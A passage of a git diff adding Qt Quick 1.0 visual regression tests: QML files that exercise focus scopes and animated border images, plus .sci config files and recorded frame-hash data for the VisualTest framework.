+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4080
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4096
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4112
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4128
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4144
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4160
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4176
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4192
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4208
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4224
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4240
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4256
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/focusscope/test.qml b/tests/auto/declarative/qmlvisual/focusscope/test.qml
new file mode 100644
index 00000000..7342e353
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/test.qml
@@ -0,0 +1,81 @@
+import QtQuick 1.0
+
+/*
+ Blue border indicates scoped focus
+ Black border indicates NOT scoped focus
+ Red box indicates active focus
+ Use arrow keys to navigate
+ Press "9" to print currently focused item
+*/
+Rectangle {
+ color: "white"
+ width: 480
+ height: 480
+
+ Keys.onDigit9Pressed: console.log("Error - Root")
+
+ FocusScope {
+ id: myScope
+ focus: true
+
+ Keys.onDigit9Pressed: console.log("Error - FocusScope")
+
+ Rectangle {
+ height: 120
+ width: 420
+
+ color: "transparent"
+ border.width: 5
+ border.color: myScope.activeFocus?"blue":"black"
+
+ Rectangle {
+ id: item1
+ x: 10; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ Keys.onDigit9Pressed: console.log("Top Left");
+ KeyNavigation.right: item2
+ focus: true
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.focus?"red":"transparent"
+ }
+ }
+
+ Rectangle {
+ id: item2
+ x: 310; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ KeyNavigation.left: item1
+ Keys.onDigit9Pressed: console.log("Top Right");
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.focus?"red":"transparent"
+ }
+ }
+ }
+ KeyNavigation.down: item3
+ }
+
+ Rectangle {
+ id: item3
+ x: 10; y: 300
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+
+ Keys.onDigit9Pressed: console.log("Bottom Left");
+ KeyNavigation.up: myScope
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.focus?"red":"transparent"
+ }
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/focusscope/test2.qml b/tests/auto/declarative/qmlvisual/focusscope/test2.qml
new file mode 100644
index 00000000..072eddbf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/test2.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 400
+ height: 50
+
+ //All five rectangles should be red
+ FocusScope {
+ focus: true
+ Rectangle { width: 40; height: 40; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ x: 80
+ focus: true
+ Rectangle { width: 40; height: 40; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ x: 80
+ focus: true
+ Rectangle { width: 40; height: 40; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ x: 80
+ focus: true
+ Rectangle { width: 40; height: 40; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ x: 80
+ focus: true
+ Rectangle { width: 40; height: 40; color: parent.activeFocus?"red":"blue" }
+ }
+ }
+ }
+ }
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/focusscope/test3.qml b/tests/auto/declarative/qmlvisual/focusscope/test3.qml
new file mode 100644
index 00000000..90c23573
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/test3.qml
@@ -0,0 +1,52 @@
+import QtQuick 1.0
+
+/*
+ Currently selected element should be red
+ Pressing "9" should print the number of the currently selected item
+ Be sure to scroll all the way to the right, pause, and then all the way to the left
+*/
+Rectangle {
+ color: "white"
+ width: 400
+ height: 100
+
+ ListModel {
+ id: model
+ ListElement { name: "red" }
+ ListElement { name: "orange" }
+ ListElement { name: "yellow" }
+ ListElement { name: "green" }
+ ListElement { name: "cyan" }
+ ListElement { name: "blue" }
+ ListElement { name: "indigo" }
+ ListElement { name: "violet" }
+ ListElement { name: "pink" }
+ }
+
+ Component {
+ id: verticalDelegate
+ FocusScope {
+ id: root
+ width: 50; height: 50;
+ Keys.onDigit9Pressed: console.log("Error - " + name)
+ Rectangle {
+ focus: true
+ Keys.onDigit9Pressed: console.log(name)
+ width: 50; height: 50;
+ color: root.ListView.isCurrentItem?"black":name
+ }
+ }
+ }
+
+ ListView {
+ width: 800; height: 50; orientation: "Horizontal"
+ focus: true
+ model: model
+ delegate: verticalDelegate
+ preferredHighlightBegin: 100
+ preferredHighlightEnd: 101
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml
new file mode 100644
index 00000000..33d8cb85
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml
@@ -0,0 +1,66 @@
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 520; height: 260
+ Grid{
+ columns: 4
+ spacing: 4
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ antialiased: true
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ antialiased: true
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml
new file mode 100644
index 00000000..21f6b5f9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml
@@ -0,0 +1,58 @@
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 520; height: 260
+ Grid{
+ columns: 4
+ spacing: 4
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 60; maxHeight: 120
+ source: "content/colors.png"; margin: 15
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ }
+ MyBorderImage {
+ minWidth: 60; maxWidth: 120
+ minHeight: 40; maxHeight: 120
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml
new file mode 100644
index 00000000..1a8b7a59
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 520; height: 280
+
+ BorderImage {
+ x: 20; y: 20; width: 230; height: 240
+ smooth: true
+ source: "content/colors-stretch.sci"
+ }
+ BorderImage {
+ x: 270; y: 20; width: 230; height: 240
+ smooth: true
+ source: "content/colors-round.sci"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml
new file mode 100644
index 00000000..923db47b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Item {
+ property alias horizontalMode: image.horizontalTileMode
+ property alias verticalMode: image.verticalTileMode
+ property alias source: image.source
+ property alias antialiased: image.smooth
+
+ property int minWidth
+ property int minHeight
+ property int maxWidth
+ property int maxHeight
+ property int margin
+
+ id: container
+ width: maxWidth; height: maxHeight
+
+ BorderImage {
+ id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2
+
+ SequentialAnimation on width {
+ loops: Animation.Infinite
+ NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 600; easing.type: "InOutQuad"}
+ NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 600; easing.type: "InOutQuad" }
+ }
+
+ SequentialAnimation on height {
+ loops: Animation.Infinite
+ NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 600; easing.type: "InOutQuad"}
+ NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 600; easing.type: "InOutQuad" }
+ }
+
+ border.top: container.margin
+ border.left: container.margin
+ border.bottom: container.margin
+ border.right: container.margin
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png
new file mode 100644
index 00000000..486eaae9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci
new file mode 100644
index 00000000..0d917645
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci
@@ -0,0 +1,7 @@
+border.left:15
+border.top:15
+border.right:15
+border.bottom:15
+horizontalTileRule:Round
+verticalTileRule:Round
+source:colors.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci
new file mode 100644
index 00000000..16ac8ccd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci
@@ -0,0 +1,5 @@
+border.left:15
+border.top:15
+border.right:15
+border.bottom:15
+source:colors.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png
new file mode 100644
index 00000000..116907d2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/qmldir b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/qmldir
new file mode 100644
index 00000000..0c732d2d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/qmldir
@@ -0,0 +1 @@
+MyBorderImage 1.0 MyBorderImage.qml
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png
new file mode 100644
index 00000000..b7d06e48
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png
new file mode 100644
index 00000000..d904aa0d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml
new file mode 100644
index 00000000..6c7a9408
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml
@@ -0,0 +1,319 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "animated-smooth.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 48
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 64
+ hash: "8ba2cebd7b80bd58612ce46470e7763b"
+ }
+ Frame {
+ msec: 80
+ hash: "9ab9c8f788bbca58552bbb6009386d69"
+ }
+ Frame {
+ msec: 96
+ hash: "7f4b50df7848ad07fb75cb19f2c4b04a"
+ }
+ Frame {
+ msec: 112
+ hash: "425e48ae492190eb6b8028be11352d7e"
+ }
+ Frame {
+ msec: 128
+ hash: "183e1f8321edb7b8d1cc2cc858039360"
+ }
+ Frame {
+ msec: 144
+ hash: "83d82bc27b0e3387dddb8e7e09380e02"
+ }
+ Frame {
+ msec: 160
+ hash: "bca94a64a283e7e30ec8c1fe3249f981"
+ }
+ Frame {
+ msec: 176
+ hash: "26cbcf6233c8fd222a857a8ae801749a"
+ }
+ Frame {
+ msec: 192
+ hash: "ac1d21dba648ab729e1670ead441b173"
+ }
+ Frame {
+ msec: 208
+ hash: "e42811f8029c6cd70041f8492a31ff27"
+ }
+ Frame {
+ msec: 224
+ hash: "f0b06b2ccf1be47ab7c5f6863ccdc495"
+ }
+ Frame {
+ msec: 240
+ hash: "9b398166d385facb2d02c86cd92ab85f"
+ }
+ Frame {
+ msec: 256
+ hash: "a4414a5ae4e44320383d49441d7acb51"
+ }
+ Frame {
+ msec: 272
+ hash: "f09208fa210f3b0b271af9ef6f3741e8"
+ }
+ Frame {
+ msec: 288
+ hash: "054f7aebcef583f9c8469aaa2e62f9ea"
+ }
+ Frame {
+ msec: 304
+ hash: "1331b1218fa6134922ab248bfde5d3f6"
+ }
+ Frame {
+ msec: 320
+ hash: "601b97220c77c185d9ed3ae3726815a5"
+ }
+ Frame {
+ msec: 336
+ hash: "487c739f3849834e3d7fa2885bb28375"
+ }
+ Frame {
+ msec: 352
+ hash: "c41dc19ab7f3c80349ac52ab2c3b410d"
+ }
+ Frame {
+ msec: 368
+ hash: "c6e8b055e5919aecbf2ef4d88de6cabd"
+ }
+ Frame {
+ msec: 384
+ hash: "f9d99999cccd8a3a9d7cb74cadb08059"
+ }
+ Frame {
+ msec: 400
+ hash: "c466c57cda1c7666a46bab9478031c86"
+ }
+ Frame {
+ msec: 416
+ hash: "02f9c85d8cbd9041ed18d2fe0071c526"
+ }
+ Frame {
+ msec: 432
+ hash: "355d2b1b30a721a26f80c414bd9164f6"
+ }
+ Frame {
+ msec: 448
+ hash: "bfc8b1bdb53f4a4c44285a5c10819ae7"
+ }
+ Frame {
+ msec: 464
+ hash: "c272ac121fe5392f12ef3180d4c694c8"
+ }
+ Frame {
+ msec: 480
+ hash: "83324ab9209ac5246c39274ecec2dbcf"
+ }
+ Frame {
+ msec: 496
+ hash: "b128fd583f5fa460bcd1c062226274fb"
+ }
+ Frame {
+ msec: 512
+ hash: "f46f1f1069806b1e17f340140e82bfd3"
+ }
+ Frame {
+ msec: 528
+ hash: "dff621d5da5f4d008a8f874914f90637"
+ }
+ Frame {
+ msec: 544
+ hash: "c5920a84e215f4bbda3032bbfbca4070"
+ }
+ Frame {
+ msec: 560
+ hash: "ecc23f198a4bf346bf6eee51f7adea69"
+ }
+ Frame {
+ msec: 576
+ hash: "dcc8f5b1b6aac31c3c5856560b37c501"
+ }
+ Frame {
+ msec: 592
+ hash: "203fa4bd23440aa88fc2a27b66ee091d"
+ }
+ Frame {
+ msec: 608
+ hash: "a2662209c8f9aa7bd9c5b4066b289cde"
+ }
+ Frame {
+ msec: 624
+ hash: "a2662209c8f9aa7bd9c5b4066b289cde"
+ }
+ Frame {
+ msec: 640
+ hash: "203fa4bd23440aa88fc2a27b66ee091d"
+ }
+ Frame {
+ msec: 656
+ hash: "dcc8f5b1b6aac31c3c5856560b37c501"
+ }
+ Frame {
+ msec: 672
+ hash: "ecc23f198a4bf346bf6eee51f7adea69"
+ }
+ Frame {
+ msec: 688
+ hash: "c5920a84e215f4bbda3032bbfbca4070"
+ }
+ Frame {
+ msec: 704
+ hash: "dff621d5da5f4d008a8f874914f90637"
+ }
+ Frame {
+ msec: 720
+ hash: "f46f1f1069806b1e17f340140e82bfd3"
+ }
+ Frame {
+ msec: 736
+ hash: "b128fd583f5fa460bcd1c062226274fb"
+ }
+ Frame {
+ msec: 752
+ hash: "83324ab9209ac5246c39274ecec2dbcf"
+ }
+ Frame {
+ msec: 768
+ hash: "c272ac121fe5392f12ef3180d4c694c8"
+ }
+ Frame {
+ msec: 784
+ hash: "bfc8b1bdb53f4a4c44285a5c10819ae7"
+ }
+ Frame {
+ msec: 800
+ hash: "355d2b1b30a721a26f80c414bd9164f6"
+ }
+ Frame {
+ msec: 816
+ hash: "02f9c85d8cbd9041ed18d2fe0071c526"
+ }
+ Frame {
+ msec: 832
+ hash: "c466c57cda1c7666a46bab9478031c86"
+ }
+ Frame {
+ msec: 848
+ hash: "f9d99999cccd8a3a9d7cb74cadb08059"
+ }
+ Frame {
+ msec: 864
+ hash: "c6e8b055e5919aecbf2ef4d88de6cabd"
+ }
+ Frame {
+ msec: 880
+ hash: "c41dc19ab7f3c80349ac52ab2c3b410d"
+ }
+ Frame {
+ msec: 896
+ hash: "487c739f3849834e3d7fa2885bb28375"
+ }
+ Frame {
+ msec: 912
+ hash: "601b97220c77c185d9ed3ae3726815a5"
+ }
+ Frame {
+ msec: 928
+ hash: "1331b1218fa6134922ab248bfde5d3f6"
+ }
+ Frame {
+ msec: 944
+ hash: "054f7aebcef583f9c8469aaa2e62f9ea"
+ }
+ Frame {
+ msec: 960
+ hash: "f09208fa210f3b0b271af9ef6f3741e8"
+ }
+ Frame {
+ msec: 976
+ image: "animated-smooth.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "9b398166d385facb2d02c86cd92ab85f"
+ }
+ Frame {
+ msec: 1008
+ hash: "f0b06b2ccf1be47ab7c5f6863ccdc495"
+ }
+ Frame {
+ msec: 1024
+ hash: "e42811f8029c6cd70041f8492a31ff27"
+ }
+ Frame {
+ msec: 1040
+ hash: "ac1d21dba648ab729e1670ead441b173"
+ }
+ Frame {
+ msec: 1056
+ hash: "26cbcf6233c8fd222a857a8ae801749a"
+ }
+ Frame {
+ msec: 1072
+ hash: "bca94a64a283e7e30ec8c1fe3249f981"
+ }
+ Frame {
+ msec: 1088
+ hash: "83d82bc27b0e3387dddb8e7e09380e02"
+ }
+ Frame {
+ msec: 1104
+ hash: "183e1f8321edb7b8d1cc2cc858039360"
+ }
+ Frame {
+ msec: 1120
+ hash: "425e48ae492190eb6b8028be11352d7e"
+ }
+ Frame {
+ msec: 1136
+ hash: "7f4b50df7848ad07fb75cb19f2c4b04a"
+ }
+ Frame {
+ msec: 1152
+ hash: "9ab9c8f788bbca58552bbb6009386d69"
+ }
+ Frame {
+ msec: 1168
+ hash: "8ba2cebd7b80bd58612ce46470e7763b"
+ }
+ Frame {
+ msec: 1184
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1200
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1216
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1232
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1248
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png
new file mode 100644
index 00000000..b7d06e48
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png
new file mode 100644
index 00000000..a0081a95
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml
new file mode 100644
index 00000000..87be9f06
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml
@@ -0,0 +1,343 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "animated.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 48
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 64
+ hash: "ed19378ea8f51f5ecbd4c89ee5c905c2"
+ }
+ Frame {
+ msec: 80
+ hash: "3dc69d5d1b6c524a74e7cec619df5ee3"
+ }
+ Frame {
+ msec: 96
+ hash: "ab8d9aa7290be2134a6ef10ca1e1bfe7"
+ }
+ Frame {
+ msec: 112
+ hash: "8091f4ff6f68e178b7a2a76ba2b38df3"
+ }
+ Frame {
+ msec: 128
+ hash: "a94ad01eb63609b5e4a9e6570e1dc25c"
+ }
+ Frame {
+ msec: 144
+ hash: "21692407cdfeeb20ff81d5d8a8ba3b7e"
+ }
+ Frame {
+ msec: 160
+ hash: "b1d5e860ea311dce4a46fd6d46f9ed58"
+ }
+ Frame {
+ msec: 176
+ hash: "a2ef453b88ee01c70a4312ab6dd26685"
+ }
+ Frame {
+ msec: 192
+ hash: "6ce1f7da3994a51ad06afa0afb789752"
+ }
+ Frame {
+ msec: 208
+ hash: "dccf9c55dfe7ae652b0e659893465158"
+ }
+ Frame {
+ msec: 224
+ hash: "18b00b462711676fdf61ef1819f9f73a"
+ }
+ Frame {
+ msec: 240
+ hash: "981011b01c3dbde098b1a3d0de4026cd"
+ }
+ Frame {
+ msec: 256
+ hash: "86389b057e84c4dd4cf75d4e33d5e282"
+ }
+ Frame {
+ msec: 272
+ hash: "6802146ad90b2921856c103246f4bca9"
+ }
+ Frame {
+ msec: 288
+ hash: "7ab7d71199e883192e28fc150646128c"
+ }
+ Frame {
+ msec: 304
+ hash: "3d2298cc655318029a2467813f8d75f4"
+ }
+ Frame {
+ msec: 320
+ hash: "74a1ed7250f85e7ed4d811b5b697ecb3"
+ }
+ Frame {
+ msec: 336
+ hash: "2cc6d5e8f4ebde059ffe31fffb2b359d"
+ }
+ Frame {
+ msec: 352
+ hash: "b08aec6d9f82e0d530d57f592c25e91a"
+ }
+ Frame {
+ msec: 368
+ hash: "9f4272d24685a9fbe5c48186932cac07"
+ }
+ Frame {
+ msec: 384
+ hash: "4cde877841640aa89949c1369c3b6fd0"
+ }
+ Frame {
+ msec: 400
+ hash: "bdbbd0b6a309b63d152b7f9b34b51d80"
+ }
+ Frame {
+ msec: 416
+ hash: "531708677915c1e094ece6f1acac6d1f"
+ }
+ Frame {
+ msec: 432
+ hash: "7213628b1f66f1dc47fa63eb2aad2d81"
+ }
+ Frame {
+ msec: 448
+ hash: "0ff58a47d524fae956431efc21364ed2"
+ }
+ Frame {
+ msec: 464
+ hash: "1e940cc44e00f05bad28bcf934b40b1c"
+ }
+ Frame {
+ msec: 480
+ hash: "0f76be39637e8b6ac15c40ea95890189"
+ }
+ Frame {
+ msec: 496
+ hash: "e23cf00dbd05677815e7e38f6f8e3a4a"
+ }
+ Frame {
+ msec: 512
+ hash: "3d7e81620d169800f6a251fa3875f23d"
+ }
+ Frame {
+ msec: 528
+ hash: "9e04076e283a3a71407488e94d84861f"
+ }
+ Frame {
+ msec: 544
+ hash: "f4fc58740d6b5cf392e117164d859c0b"
+ }
+ Frame {
+ msec: 560
+ hash: "8f041ba2a82618c1545aac6f50c95384"
+ }
+ Frame {
+ msec: 576
+ hash: "759368622bc25c7ae1cb8d2c44affe6a"
+ }
+ Frame {
+ msec: 592
+ hash: "90314671aab8165c7c1b35dcf5aaa6b9"
+ }
+ Frame {
+ msec: 608
+ hash: "ecd1d2fe087a36fc58290c0c249a7ea0"
+ }
+ Frame {
+ msec: 624
+ hash: "ecd1d2fe087a36fc58290c0c249a7ea0"
+ }
+ Frame {
+ msec: 640
+ hash: "90314671aab8165c7c1b35dcf5aaa6b9"
+ }
+ Frame {
+ msec: 656
+ hash: "759368622bc25c7ae1cb8d2c44affe6a"
+ }
+ Frame {
+ msec: 672
+ hash: "8f041ba2a82618c1545aac6f50c95384"
+ }
+ Frame {
+ msec: 688
+ hash: "f4fc58740d6b5cf392e117164d859c0b"
+ }
+ Frame {
+ msec: 704
+ hash: "9e04076e283a3a71407488e94d84861f"
+ }
+ Frame {
+ msec: 720
+ hash: "3d7e81620d169800f6a251fa3875f23d"
+ }
+ Frame {
+ msec: 736
+ hash: "e23cf00dbd05677815e7e38f6f8e3a4a"
+ }
+ Frame {
+ msec: 752
+ hash: "0f76be39637e8b6ac15c40ea95890189"
+ }
+ Frame {
+ msec: 768
+ hash: "1e940cc44e00f05bad28bcf934b40b1c"
+ }
+ Frame {
+ msec: 784
+ hash: "0ff58a47d524fae956431efc21364ed2"
+ }
+ Frame {
+ msec: 800
+ hash: "7213628b1f66f1dc47fa63eb2aad2d81"
+ }
+ Frame {
+ msec: 816
+ hash: "531708677915c1e094ece6f1acac6d1f"
+ }
+ Frame {
+ msec: 832
+ hash: "bdbbd0b6a309b63d152b7f9b34b51d80"
+ }
+ Frame {
+ msec: 848
+ hash: "4cde877841640aa89949c1369c3b6fd0"
+ }
+ Frame {
+ msec: 864
+ hash: "9f4272d24685a9fbe5c48186932cac07"
+ }
+ Frame {
+ msec: 880
+ hash: "b08aec6d9f82e0d530d57f592c25e91a"
+ }
+ Frame {
+ msec: 896
+ hash: "2cc6d5e8f4ebde059ffe31fffb2b359d"
+ }
+ Frame {
+ msec: 912
+ hash: "74a1ed7250f85e7ed4d811b5b697ecb3"
+ }
+ Frame {
+ msec: 928
+ hash: "3d2298cc655318029a2467813f8d75f4"
+ }
+ Frame {
+ msec: 944
+ hash: "7ab7d71199e883192e28fc150646128c"
+ }
+ Frame {
+ msec: 960
+ hash: "6802146ad90b2921856c103246f4bca9"
+ }
+ Frame {
+ msec: 976
+ image: "animated.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "981011b01c3dbde098b1a3d0de4026cd"
+ }
+ Frame {
+ msec: 1008
+ hash: "18b00b462711676fdf61ef1819f9f73a"
+ }
+ Frame {
+ msec: 1024
+ hash: "dccf9c55dfe7ae652b0e659893465158"
+ }
+ Frame {
+ msec: 1040
